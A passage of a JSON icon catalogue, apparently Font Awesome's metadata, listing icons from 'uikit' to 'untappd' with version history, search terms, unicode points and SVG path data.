        "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm52.7 93c8.8-15.2 28.3-20.5 43.5-11.7 15.3 8.8 20.5 28.3 11.7 43.6-8.8 15.2-28.3 20.5-43.5 11.7-15.3-8.9-20.5-28.4-11.7-43.6zM87.4 287.9c-17.6 0-31.9-14.3-31.9-31.9 0-17.6 14.3-31.9 31.9-31.9 17.6 0 31.9 14.3 31.9 31.9 0 17.6-14.3 31.9-31.9 31.9zm28.1 3.1c22.3-17.9 22.4-51.9 0-69.9 8.6-32.8 29.1-60.7 56.5-79.1l23.7 39.6c-51.5 36.3-51.5 112.5 0 148.8L172 370c-27.4-18.3-47.8-46.3-56.5-79zm228.7 131.7c-15.3 8.8-34.7 3.6-43.5-11.7-8.8-15.3-3.6-34.8 11.7-43.6 15.2-8.8 34.7-3.6 43.5 11.7 8.8 15.3 3.6 34.8-11.7 43.6zm.3-69.5c-26.7-10.3-56.1 6.6-60.5 35-5.2 1.4-48.9 14.3-96.7-9.4l22.5-40.3c57 26.5 123.4-11.7 128.9-74.4l46.1.7c-2.3 34.5-17.3 65.5-40.3 88.4zm-5.9-105.3c-5.4-62-71.3-101.2-128.9-74.4l-22.5-40.3c47.9-23.7 91.5-10.8 96.7-9.4 4.4 28.3 33.8 45.3 60.5 35 23.1 22.9 38 53.9 40.2 88.5l-46 .6z"
      }
    },
    "free": ["brands"]
  },
  "uikit": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f403",
    "label": "UIkit",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M443.9 128v256L218 512 0 384V169.7l87.6 45.1v117l133.5 75.5 135.8-75.5v-151l-101.1-57.6 87.6-53.1L443.9 128zM308.6 49.1L223.8 0l-88.6 54.8 86 47.3 87.4-53z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M443.9 128v256L218 512 0 384V169.7l87.6 45.1v117l133.5 75.5 135.8-75.5v-151l-101.1-57.6 87.6-53.1L443.9 128zM308.6 49.1L223.8 0l-88.6 54.8 86 47.3 87.4-53z"
      }
    },
    "free": ["brands"]
  },
  "umbraco": {
    "changes": ["5.11.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f8e8",
    "label": "Umbraco",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 510 512\"><path d=\"M255.35 8C118.36 7.83 7.14 118.72 7 255.68c-.07 137 111 248.2 248 248.27 136.85 0 247.82-110.7 248-247.67S392.34 8.17 255.35 8zm145 266q-1.14 40.68-14 65t-43.51 35q-30.61 10.7-85.45 10.47h-4.6q-54.78.22-85.44-10.47t-43.52-35q-12.85-24.36-14-65a224.81 224.81 0 0 1 0-30.71 418.37 418.37 0 0 1 3.6-43.88c1.88-13.39 3.57-22.58 5.4-32 1-4.88 1.28-6.42 1.82-8.45a5.09 5.09 0 0 1 4.9-3.89h.69l32 5a5.07 5.07 0 0 1 4.16 5 5 5 0 0 1 0 .77l-1.7 8.78q-2.41 13.25-4.84 33.68a380.62 380.62 0 0 0-2.64 42.15q-.28 40.43 8.13 59.83a43.87 43.87 0 0 0 31.31 25.18A243 243 0 0 0 250 340.6h10.25a242.64 242.64 0 0 0 57.27-5.16 43.86 43.86 0 0 0 31.15-25.23q8.53-19.42 8.13-59.78a388 388 0 0 0-2.6-42.15q-2.48-20.38-4.89-33.68l-1.69-8.78a5 5 0 0 1 0-.77 5 5 0 0 1 4.2-5l32-5h.82a5 5 0 0 1 4.9 3.89c.55 2.05.81 3.57 1.83 8.45 1.82 9.62 3.52 18.78 5.39 32a415.71 415.71 0 0 1 3.61 43.88 228.06 228.06 0 0 1-.04 30.73z\"/></svg>",
        "viewBox": [0, 0, 510, 512],
        "width": 510,
        "height": 512,
        "path": "M255.35 8C118.36 7.83 7.14 118.72 7 255.68c-.07 137 111 248.2 248 248.27 136.85 0 247.82-110.7 248-247.67S392.34 8.17 255.35 8zm145 266q-1.14 40.68-14 65t-43.51 35q-30.61 10.7-85.45 10.47h-4.6q-54.78.22-85.44-10.47t-43.52-35q-12.85-24.36-14-65a224.81 224.81 0 0 1 0-30.71 418.37 418.37 0 0 1 3.6-43.88c1.88-13.39 3.57-22.58 5.4-32 1-4.88 1.28-6.42 1.82-8.45a5.09 5.09 0 0 1 4.9-3.89h.69l32 5a5.07 5.07 0 0 1 4.16 5 5 5 0 0 1 0 .77l-1.7 8.78q-2.41 13.25-4.84 33.68a380.62 380.62 0 0 0-2.64 42.15q-.28 40.43 8.13 59.83a43.87 43.87 0 0 0 31.31 25.18A243 243 0 0 0 250 340.6h10.25a242.64 242.64 0 0 0 57.27-5.16 43.86 43.86 0 0 0 31.15-25.23q8.53-19.42 8.13-59.78a388 388 0 0 0-2.6-42.15q-2.48-20.38-4.89-33.68l-1.69-8.78a5 5 0 0 1 0-.77 5 5 0 0 1 4.2-5l32-5h.82a5 5 0 0 1 4.9 3.89c.55 2.05.81 3.57 1.83 8.45 1.82 9.62 3.52 18.78 5.39 32a415.71 415.71 0 0 1 3.61 43.88 228.06 228.06 0 0 1-.04 30.73z"
      }
    },
    "free": ["brands"]
  },
  "umbrella": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0e9"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["protection", "rain", "storm", "wet"]
    },
    "styles": ["solid"],
    "unicode": "f0e9",
    "label": "Umbrella",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 0c17.7 0 32 14.3 32 32V49.7C451.8 63.4 557.7 161 573.9 285.9c2 15.6-17.3 24.4-27.8 12.7C532.1 283 504.8 272 480 272c-38.7 0-71 27.5-78.4 64.1c-1.7 8.7-8.7 15.9-17.6 15.9s-15.8-7.2-17.6-15.9C359 299.5 326.7 272 288 272s-71 27.5-78.4 64.1c-1.7 8.7-8.7 15.9-17.6 15.9s-15.8-7.2-17.6-15.9C167 299.5 134.7 272 96 272c-24.8 0-52.1 11-66.1 26.7C19.4 310.4 .1 301.5 2.1 285.9C18.3 161 124.2 63.4 256 49.7V32c0-17.7 14.3-32 32-32zm0 304c12.3 0 23.5 4.6 32 12.2V430.6c0 45-36.5 81.4-81.4 81.4c-30.8 0-59-17.4-72.8-45l-2.3-4.7c-7.9-15.8-1.5-35 14.3-42.9s35-1.5 42.9 14.3l2.3 4.7c3 5.9 9 9.6 15.6 9.6c9.6 0 17.4-7.8 17.4-17.4V316.2c8.5-7.6 19.7-12.2 32-12.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 0c17.7 0 32 14.3 32 32V49.7C451.8 63.4 557.7 161 573.9 285.9c2 15.6-17.3 24.4-27.8 12.7C532.1 283 504.8 272 480 272c-38.7 0-71 27.5-78.4 64.1c-1.7 8.7-8.7 15.9-17.6 15.9s-15.8-7.2-17.6-15.9C359 299.5 326.7 272 288 272s-71 27.5-78.4 64.1c-1.7 8.7-8.7 15.9-17.6 15.9s-15.8-7.2-17.6-15.9C167 299.5 134.7 272 96 272c-24.8 0-52.1 11-66.1 26.7C19.4 310.4 .1 301.5 2.1 285.9C18.3 161 124.2 63.4 256 49.7V32c0-17.7 14.3-32 32-32zm0 304c12.3 0 23.5 4.6 32 12.2V430.6c0 45-36.5 81.4-81.4 81.4c-30.8 0-59-17.4-72.8-45l-2.3-4.7c-7.9-15.8-1.5-35 14.3-42.9s35-1.5 42.9 14.3l2.3 4.7c3 5.9 9 9.6 15.6 9.6c9.6 0 17.4-7.8 17.4-17.4V316.2c8.5-7.6 19.7-12.2 32-12.2z"
      }
    },
    "free": ["solid"]
  },
  "umbrella-beach": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3d6"],
        "secondary": ["10f5ca"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "beach",
        "beach with umbrella",
        "protection",
        "recreation",
        "sand",
        "shade",
        "summer",
        "sun",
        "umbrella"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5ca",
    "label": "Umbrella Beach",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M346.3 271.8l-60.1-21.9L214 448H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H282.1l64.1-176.2zm121.1-.2l-3.3 9.1 67.7 24.6c18.1 6.6 38-4.2 39.6-23.4c6.5-78.5-23.9-155.5-80.8-208.5c2 8 3.2 16.3 3.4 24.8l.2 6c1.8 57-7.3 113.8-26.8 167.4zM462 99.1c-1.1-34.4-22.5-64.8-54.4-77.4c-.9-.4-1.9-.7-2.8-1.1c-33-11.7-69.8-2.4-93.1 23.8l-4 4.5C272.4 88.3 245 134.2 226.8 184l-3.3 9.1L434 269.7l3.3-9.1c18.1-49.8 26.6-102.5 24.9-155.5l-.2-6zM107.2 112.9c-11.1 15.7-2.8 36.8 15.3 43.4l71 25.8 3.3-9.1c19.5-53.6 49.1-103 87.1-145.5l4-4.5c6.2-6.9 13.1-13 20.5-18.2c-79.6 2.5-154.7 42.2-201.2 108z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M346.3 271.8l-60.1-21.9L214 448H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H282.1l64.1-176.2zm121.1-.2l-3.3 9.1 67.7 24.6c18.1 6.6 38-4.2 39.6-23.4c6.5-78.5-23.9-155.5-80.8-208.5c2 8 3.2 16.3 3.4 24.8l.2 6c1.8 57-7.3 113.8-26.8 167.4zM462 99.1c-1.1-34.4-22.5-64.8-54.4-77.4c-.9-.4-1.9-.7-2.8-1.1c-33-11.7-69.8-2.4-93.1 23.8l-4 4.5C272.4 88.3 245 134.2 226.8 184l-3.3 9.1L434 269.7l3.3-9.1c18.1-49.8 26.6-102.5 24.9-155.5l-.2-6zM107.2 112.9c-11.1 15.7-2.8 36.8 15.3 43.4l71 25.8 3.3-9.1c19.5-53.6 49.1-103 87.1-145.5l4-4.5c6.2-6.9 13.1-13 20.5-18.2c-79.6 2.5-154.7 42.2-201.2 108z"
      }
    },
    "free": ["solid"]
  },
  "uncharted": {
    "changes": ["5.15.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e084",
    "label": "Uncharted Software",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M171.73,232.813A5.381,5.381,0,0,0,176.7,229.5,48.081,48.081,0,0,1,191.6,204.244c1.243-.828,1.657-2.484,1.657-4.141a4.22,4.22,0,0,0-2.071-3.312L74.429,128.473,148.958,85a9.941,9.941,0,0,0,4.968-8.281,9.108,9.108,0,0,0-4.968-8.281L126.6,55.6a9.748,9.748,0,0,0-9.523,0l-100.2,57.966a9.943,9.943,0,0,0-4.969,8.281V236.954a9.109,9.109,0,0,0,4.969,8.281L39.235,258.07a8.829,8.829,0,0,0,4.968,1.242,9.4,9.4,0,0,0,6.625-2.484,10.8,10.8,0,0,0,2.9-7.039V164.5L169.66,232.4A4.5,4.5,0,0,0,171.73,232.813ZM323.272,377.73a12.478,12.478,0,0,0-4.969,1.242l-74.528,43.062V287.882c0-2.9-2.9-5.8-6.211-4.555a53.036,53.036,0,0,1-28.984.414,4.86,4.86,0,0,0-6.21,4.555V421.619l-74.529-43.061a8.83,8.83,0,0,0-4.969-1.242,9.631,9.631,0,0,0-9.523,9.523v26.085a9.107,9.107,0,0,0,4.969,8.281l100.2,57.553A8.829,8.829,0,0,0,223.486,480a11.027,11.027,0,0,0,4.969-1.242l100.2-57.553a9.941,9.941,0,0,0,4.968-8.281V386.839C332.8,382.285,328.24,377.73,323.272,377.73ZM286.007,78a23,23,0,1,0-23-23A23,23,0,0,0,286.007,78Zm63.627-10.086a23,23,0,1,0,23,23A23,23,0,0,0,349.634,67.914ZM412.816,151.6a23,23,0,1,0-23-23A23,23,0,0,0,412.816,151.6Zm-63.182-9.2a23,23,0,1,0,23,23A23,23,0,0,0,349.634,142.4Zm-63.627,83.244a23,23,0,1,0-23-23A23,23,0,0,0,286.007,225.648Zm-62.074,36.358a23,23,0,1,0-23-23A23,23,0,0,0,223.933,262.006Zm188.883-82.358a23,23,0,1,0,23,23A23,23,0,0,0,412.816,179.648Zm0,72.272a23,23,0,1,0,23,23A23,23,0,0,0,412.816,251.92Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M171.73,232.813A5.381,5.381,0,0,0,176.7,229.5,48.081,48.081,0,0,1,191.6,204.244c1.243-.828,1.657-2.484,1.657-4.141a4.22,4.22,0,0,0-2.071-3.312L74.429,128.473,148.958,85a9.941,9.941,0,0,0,4.968-8.281,9.108,9.108,0,0,0-4.968-8.281L126.6,55.6a9.748,9.748,0,0,0-9.523,0l-100.2,57.966a9.943,9.943,0,0,0-4.969,8.281V236.954a9.109,9.109,0,0,0,4.969,8.281L39.235,258.07a8.829,8.829,0,0,0,4.968,1.242,9.4,9.4,0,0,0,6.625-2.484,10.8,10.8,0,0,0,2.9-7.039V164.5L169.66,232.4A4.5,4.5,0,0,0,171.73,232.813ZM323.272,377.73a12.478,12.478,0,0,0-4.969,1.242l-74.528,43.062V287.882c0-2.9-2.9-5.8-6.211-4.555a53.036,53.036,0,0,1-28.984.414,4.86,4.86,0,0,0-6.21,4.555V421.619l-74.529-43.061a8.83,8.83,0,0,0-4.969-1.242,9.631,9.631,0,0,0-9.523,9.523v26.085a9.107,9.107,0,0,0,4.969,8.281l100.2,57.553A8.829,8.829,0,0,0,223.486,480a11.027,11.027,0,0,0,4.969-1.242l100.2-57.553a9.941,9.941,0,0,0,4.968-8.281V386.839C332.8,382.285,328.24,377.73,323.272,377.73ZM286.007,78a23,23,0,1,0-23-23A23,23,0,0,0,286.007,78Zm63.627-10.086a23,23,0,1,0,23,23A23,23,0,0,0,349.634,67.914ZM412.816,151.6a23,23,0,1,0-23-23A23,23,0,0,0,412.816,151.6Zm-63.182-9.2a23,23,0,1,0,23,23A23,23,0,0,0,349.634,142.4Zm-63.627,83.244a23,23,0,1,0-23-23A23,23,0,0,0,286.007,225.648Zm-62.074,36.358a23,23,0,1,0-23-23A23,23,0,0,0,223.933,262.006Zm188.883-82.358a23,23,0,1,0,23,23A23,23,0,0,0,412.816,179.648Zm0,72.272a23,23,0,1,0,23,23A23,23,0,0,0,412.816,251.92Z"
      }
    },
    "free": ["brands"]
  },
  "underline": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0cd"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["edit", "emphasis", "format", "text", "writing"]
    },
    "styles": ["solid"],
    "unicode": "f0cd",
    "label": "Underline",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M16 64c0-17.7 14.3-32 32-32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H128V224c0 53 43 96 96 96s96-43 96-96V96H304c-17.7 0-32-14.3-32-32s14.3-32 32-32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H384V224c0 88.4-71.6 160-160 160s-160-71.6-160-160V96H48C30.3 96 16 81.7 16 64zM0 448c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M16 64c0-17.7 14.3-32 32-32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H128V224c0 53 43 96 96 96s96-43 96-96V96H304c-17.7 0-32-14.3-32-32s14.3-32 32-32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H384V224c0 88.4-71.6 160-160 160s-160-71.6-160-160V96H48C30.3 96 16 81.7 16 64zM0 448c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32z"
      }
    },
    "free": ["solid"]
  },
  "uniregistry": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f404",
    "label": "Uniregistry",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 480c39.5 0 76.2-11.8 106.8-32.2H85.3C115.8 468.2 152.5 480 192 480zm-89.1-193.1v-12.4H0v12.4c0 2.5 0 5 .1 7.4h103.1c-.2-2.4-.3-4.9-.3-7.4zm20.5 57H8.5c2.6 8.5 5.8 16.8 9.6 24.8h138.3c-12.9-5.7-24.1-14.2-33-24.8zm-17.7-34.7H1.3c.9 7.6 2.2 15 3.9 22.3h109.7c-4-6.9-7.2-14.4-9.2-22.3zm-2.8-69.3H0v17.3h102.9zm0-173.2H0v4.9h102.9zm0-34.7H0v2.5h102.9zm0 69.3H0v7.4h102.9zm0 104H0v14.8h102.9zm0-69.3H0v9.9h102.9zm0 34.6H0V183h102.9zm166.2 160.9h109.7c1.8-7.3 3.1-14.7 3.9-22.3H278.3c-2.1 7.9-5.2 15.4-9.2 22.3zm12-185.7H384V136H281.1zm0 37.2H384v-12.4H281.1zm0-74.3H384v-7.4H281.1zm0-76.7v2.5H384V32zm-203 410.9h227.7c11.8-8.7 22.7-18.6 32.2-29.7H44.9c9.6 11 21.4 21 33.2 29.7zm203-371.3H384v-4.9H281.1zm0 148.5H384v-14.8H281.1zM38.8 405.7h305.3c6.7-8.5 12.6-17.6 17.8-27.2H23c5.2 9.6 9.2 18.7 15.8 27.2zm188.8-37.1H367c3.7-8 5.8-16.2 8.5-24.8h-115c-8.8 10.7-20.1 19.2-32.9 24.8zm53.5-81.7c0 2.5-.1 5-.4 7.4h103.1c.1-2.5.2-4.9.2-7.4v-12.4H281.1zm0-29.7H384v-17.3H281.1z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 480c39.5 0 76.2-11.8 106.8-32.2H85.3C115.8 468.2 152.5 480 192 480zm-89.1-193.1v-12.4H0v12.4c0 2.5 0 5 .1 7.4h103.1c-.2-2.4-.3-4.9-.3-7.4zm20.5 57H8.5c2.6 8.5 5.8 16.8 9.6 24.8h138.3c-12.9-5.7-24.1-14.2-33-24.8zm-17.7-34.7H1.3c.9 7.6 2.2 15 3.9 22.3h109.7c-4-6.9-7.2-14.4-9.2-22.3zm-2.8-69.3H0v17.3h102.9zm0-173.2H0v4.9h102.9zm0-34.7H0v2.5h102.9zm0 69.3H0v7.4h102.9zm0 104H0v14.8h102.9zm0-69.3H0v9.9h102.9zm0 34.6H0V183h102.9zm166.2 160.9h109.7c1.8-7.3 3.1-14.7 3.9-22.3H278.3c-2.1 7.9-5.2 15.4-9.2 22.3zm12-185.7H384V136H281.1zm0 37.2H384v-12.4H281.1zm0-74.3H384v-7.4H281.1zm0-76.7v2.5H384V32zm-203 410.9h227.7c11.8-8.7 22.7-18.6 32.2-29.7H44.9c9.6 11 21.4 21 33.2 29.7zm203-371.3H384v-4.9H281.1zm0 148.5H384v-14.8H281.1zM38.8 405.7h305.3c6.7-8.5 12.6-17.6 17.8-27.2H23c5.2 9.6 9.2 18.7 15.8 27.2zm188.8-37.1H367c3.7-8 5.8-16.2 8.5-24.8h-115c-8.8 10.7-20.1 19.2-32.9 24.8zm53.5-81.7c0 2.5-.1 5-.4 7.4h103.1c.1-2.5.2-4.9.2-7.4v-12.4H281.1zm0-29.7H384v-17.3H281.1z"
      }
    },
    "free": ["brands"]
  },
  "unity": {
    "changes": ["5.12.0", "5.14.0", "6.0.0-beta3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e049",
    "label": "Unity 3D",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M243.583 91.6027L323.695 138.384C326.575 140.026 326.68 144.583 323.695 146.225L228.503 201.854C225.623 203.55 222.22 203.444 219.549 201.854L124.357 146.225C121.425 144.636 121.373 139.973 124.357 138.384L204.417 91.6027V0L0 119.417V358.252L78.3843 312.477V218.914C78.3319 215.576 82.2066 213.192 85.0865 214.993L180.279 270.622C183.159 272.318 184.782 275.338 184.782 278.464V389.669C184.834 393.007 180.959 395.391 178.079 393.589L97.9673 346.808L19.583 392.583L224 512L428.417 392.583L350.033 346.808L269.921 393.589C267.093 395.338 263.114 393.06 263.218 389.669V278.464C263.218 275.126 265.051 272.159 267.721 270.622L362.914 214.993C365.741 213.245 369.72 215.47 369.616 218.914V312.477L448 358.252V119.417L243.583 0V91.6027Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M243.583 91.6027L323.695 138.384C326.575 140.026 326.68 144.583 323.695 146.225L228.503 201.854C225.623 203.55 222.22 203.444 219.549 201.854L124.357 146.225C121.425 144.636 121.373 139.973 124.357 138.384L204.417 91.6027V0L0 119.417V358.252L78.3843 312.477V218.914C78.3319 215.576 82.2066 213.192 85.0865 214.993L180.279 270.622C183.159 272.318 184.782 275.338 184.782 278.464V389.669C184.834 393.007 180.959 395.391 178.079 393.589L97.9673 346.808L19.583 392.583L224 512L428.417 392.583L350.033 346.808L269.921 393.589C267.093 395.338 263.114 393.06 263.218 389.669V278.464C263.218 275.126 265.051 272.159 267.721 270.622L362.914 214.993C365.741 213.245 369.72 215.47 369.616 218.914V312.477L448 358.252V119.417L243.583 0V91.6027Z"
      }
    },
    "free": ["brands"]
  },
  "universal-access": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f29a"]
      }
    },
    "changes": [
      "4.6.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f29a",
    "label": "Universal Access",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm161.5-86.1c-12.2-5.2-26.3 .4-31.5 12.6s.4 26.3 12.6 31.5l11.9 5.1c17.3 7.4 35.2 12.9 53.6 16.3v50.1c0 4.3-.7 8.6-2.1 12.6l-28.7 86.1c-4.2 12.6 2.6 26.2 15.2 30.4s26.2-2.6 30.4-15.2l24.4-73.2c1.3-3.8 4.8-6.4 8.8-6.4s7.6 2.6 8.8 6.4l24.4 73.2c4.2 12.6 17.8 19.4 30.4 15.2s19.4-17.8 15.2-30.4l-28.7-86.1c-1.4-4.1-2.1-8.3-2.1-12.6V235.5c18.4-3.5 36.3-8.9 53.6-16.3l11.9-5.1c12.2-5.2 17.8-19.3 12.6-31.5s-19.3-17.8-31.5-12.6L338.7 175c-26.1 11.2-54.2 17-82.7 17s-56.5-5.8-82.7-17l-11.9-5.1zM256 160a40 40 0 1 0 0-80 40 40 0 1 0 0 80z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm161.5-86.1c-12.2-5.2-26.3 .4-31.5 12.6s.4 26.3 12.6 31.5l11.9 5.1c17.3 7.4 35.2 12.9 53.6 16.3v50.1c0 4.3-.7 8.6-2.1 12.6l-28.7 86.1c-4.2 12.6 2.6 26.2 15.2 30.4s26.2-2.6 30.4-15.2l24.4-73.2c1.3-3.8 4.8-6.4 8.8-6.4s7.6 2.6 8.8 6.4l24.4 73.2c4.2 12.6 17.8 19.4 30.4 15.2s19.4-17.8 15.2-30.4l-28.7-86.1c-1.4-4.1-2.1-8.3-2.1-12.6V235.5c18.4-3.5 36.3-8.9 53.6-16.3l11.9-5.1c12.2-5.2 17.8-19.3 12.6-31.5s-19.3-17.8-31.5-12.6L338.7 175c-26.1 11.2-54.2 17-82.7 17s-56.5-5.8-82.7-17l-11.9-5.1zM256 160a40 40 0 1 0 0-80 40 40 0 1 0 0 80z"
      }
    },
    "free": ["solid"]
  },
  "unlock": {
    "aliases": {
      "unicodes": {
        "composite": ["1f513"],
        "secondary": ["10f09c"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "admin",
        "lock",
        "open",
        "password",
        "private",
        "protect",
        "unlock",
        "unlocked"
      ]
    },
    "styles": ["solid"],
    "unicode": "f09c",
    "label": "Unlock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M144 144c0-44.2 35.8-80 80-80c31.9 0 59.4 18.6 72.3 45.7c7.6 16 26.7 22.8 42.6 15.2s22.8-26.7 15.2-42.6C331 33.7 281.5 0 224 0C144.5 0 80 64.5 80 144v48H64c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V256c0-35.3-28.7-64-64-64H144V144z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M144 144c0-44.2 35.8-80 80-80c31.9 0 59.4 18.6 72.3 45.7c7.6 16 26.7 22.8 42.6 15.2s22.8-26.7 15.2-42.6C331 33.7 281.5 0 224 0C144.5 0 80 64.5 80 144v48H64c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V256c0-35.3-28.7-64-64-64H144V144z"
      }
    },
    "free": ["solid"]
  },
  "unlock-keyhole": {
    "aliases": {
      "names": ["unlock-alt"],
      "unicodes": {
        "secondary": ["10f13e"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["admin", "lock", "password", "private", "protect"]
    },
    "styles": ["solid"],
    "unicode": "f13e",
    "label": "Unlock Keyhole",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 64c-44.2 0-80 35.8-80 80v48H384c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V256c0-35.3 28.7-64 64-64H80V144C80 64.5 144.5 0 224 0c57.5 0 107 33.7 130.1 82.3c7.6 16 .8 35.1-15.2 42.6s-35.1 .8-42.6-15.2C283.4 82.6 255.9 64 224 64zm32 320c17.7 0 32-14.3 32-32s-14.3-32-32-32H192c-17.7 0-32 14.3-32 32s14.3 32 32 32h64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 64c-44.2 0-80 35.8-80 80v48H384c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V256c0-35.3 28.7-64 64-64H80V144C80 64.5 144.5 0 224 0c57.5 0 107 33.7 130.1 82.3c7.6 16 .8 35.1-15.2 42.6s-35.1 .8-42.6-15.2C283.4 82.6 255.9 64 224 64zm32 320c17.7 0 32-14.3 32-32s-14.3-32-32-32H192c-17.7 0-32 14.3-32 32s14.3 32 32 32h64z"
      }
    },
    "free": ["solid"]
  },
  "unsplash": {
    "changes": ["5.13.1", "5.14.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e07c",
    "label": "Unsplash",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448,230.17V480H0V230.17H141.13V355.09H306.87V230.17ZM306.87,32H141.13V156.91H306.87Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448,230.17V480H0V230.17H141.13V355.09H306.87V230.17ZM306.87,32H141.13V156.91H306.87Z"
      }
    },
    "free": ["brands"]
  },
  "untappd": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f405",
    "label": "Untappd",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
